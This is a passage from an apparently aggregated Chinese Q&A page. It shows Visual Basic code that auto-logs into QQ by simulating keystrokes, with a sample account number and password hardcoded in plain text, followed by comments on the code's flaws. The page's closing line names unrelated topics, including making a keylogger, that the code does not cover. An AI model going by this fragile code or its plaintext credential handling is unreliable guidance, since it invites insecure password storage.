'有人问为什么不用SetFocus直接设置焦点而用模拟按下Tab键,那是因为QQ不响应获得焦点消息,调用SetFocus达不到效果

'还有一个在QQ登录窗口Tab键只在号码框和密码框之间来回切换,不信你试一下

Call SetForegroundWindow(QQ_MainhWnd) '保证模拟键盘输入之前QQ登录窗口的显示状态

If GetFocus() <> QQ_NumEdithWnd Then Call AutoPressKey(vbKeyTab) '保证模拟键盘输入之前焦点在号码框

Call QQ_AutoPressKey(QQ_NumEdithWnd, strNum) '模拟键盘自动输入QQ号码

Sleep 500

If GetFocus() <> QQ_PwdEdithWnd Then Call AutoPressKey(vbKeyTab) '保证模拟键盘输入之前焦点在密码框

Call QQ_AutoPressKey(QQ_PwdEdithWnd, strPwd) '模拟键盘自动输入QQ密码

Sleep 500

Call AutoPressKey(vbKeyReturn) '模拟键盘输入回车键开始登录

End Function

Sub Main()

Dim strNum As String, strPwd As String

strNum = "4598456"

strPwd = "nihaoma"

QQ_ExeFileName = "D:\Program Files\Tencent\QQ\QQexe"

Call QQ_AutoLogin(QQ_ExeFileName, strNum, strPwd) 'QQ自动登录函数(自定义函数)

End Sub

'程序还有以下几个致命的缺陷:

'1:如果在该程序运行之前已经有QQ程序在运行(未登录或已登录的),那判断QQ登录主窗口的代码就可能会不正确了

'2:模拟键盘输入那地方还有点问题,在模拟的中间有可能被别的程序打断,一失去焦点就乱了

以上就是关于易语言怎么制作游戏键盘记录器全部的内容,包括:易语言怎么制作游戏键盘记录器、如何构建安全的Kafka集群、如何用VB做群登陆器(就是一次多个登陆)等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!

欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/web/9339320.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-27
下一篇2023-04-27

发表评论

登录后才能评论

评论列表(0条)

    保存